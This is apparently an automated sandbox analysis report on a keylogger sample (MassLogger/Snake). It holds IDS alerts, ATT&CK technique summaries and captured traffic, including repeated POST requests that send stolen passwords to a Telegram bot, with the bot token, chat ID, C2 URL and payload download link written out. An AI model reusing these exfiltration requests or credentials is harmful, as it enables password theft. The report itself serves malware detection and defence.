Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Source: 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}
Source: ppISxhDcpF.exe.4932.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801D1EC CryptUnprotectData,		5_2_3801D1EC
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_3801D9D9 CryptUnprotectData,		5_2_3801D9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49815 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49815 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49789 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49789 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49801 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49801 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49863 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49842 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49863 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49842 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49775 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49775 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49906 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49906 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49873 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49873 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49893 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49830 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49893 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49830 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49956 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49956 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318086900029Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd319c6abdf465Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31b1443a20faHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31c60e986e76Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31dac9051ac1Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31f23425ef07Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32148015fb2fHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd322bba2a7429Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd324c62a360f6Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd325f5cb5c2edHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32b9716ee95aHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32debd1abcefHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32ffdcc81d2fHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd331a3d88592dHost: api.telegram.orgContent-Length: 1090

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 38010671h	5_2_380103AF
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 38011042h	5_2_38010C28
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801C985h	5_2_3801C638
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801F2F8h	5_2_3801F05A
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801B339h	5_2_3801B07F
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801BBE9h	5_2_3801B930
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801C499h	5_2_3801C1F2
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801DD40h	5_2_3801DA89
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801E5F0h	5_2_3801E339
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801EEA0h	5_2_3801EBF2
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 38011042h	5_2_38010C1B
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801B791h	5_2_3801B4F2
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801C041h	5_2_3801BDA2
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801E198h	5_2_3801DEE1
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 38011042h	5_2_38010F6F
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 3801EA48h	5_2_3801E790
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then push 00000000h	5_2_384BBDF0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B882Dh	5_2_384B8650
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B91B7h	5_2_384B8650
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B1B00h	5_2_384B1858
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B7318h	5_2_384B7070
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B4ACAh	5_2_384B4820
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B23B0h	5_2_384B2108
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then push 00000000h	5_2_384BC92F
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_384B8193
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B2C60h	5_2_384B29B8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B3510h	5_2_384B3268
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B54B0h	5_2_384B5208
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B5D60h	5_2_384B5AB8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_384B7B4F
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B6610h	5_2_384B6368
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_384B8373
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B3DC0h	5_2_384B3B18
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B4670h	5_2_384B43C8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	5_2_384BCBE7
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B16A8h	5_2_384B1400
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B6EC0h	5_2_384B6C18
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B7770h	5_2_384B74C8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B1F58h	5_2_384B1CB0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B2808h	5_2_384B2560
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B5058h	5_2_384B4DB0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B5908h	5_2_384B5660
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B30B8h	5_2_384B2E10
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B3968h	5_2_384B36C0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B4218h	5_2_384B3F70
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B61B8h	5_2_384B5F10
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B6A68h	5_2_384B67C0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then jmp 384B1250h	5_2_384B0FA8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 4x nop then push 00000000h	5_2_389EE790

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49784 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49712 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49710 -> 172.217.23.110:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1x9DSfok3BU85kiqweJ7pgJp2Rx3of5t2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1x9DSfok3BU85kiqweJ7pgJp2Rx3of5t2&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

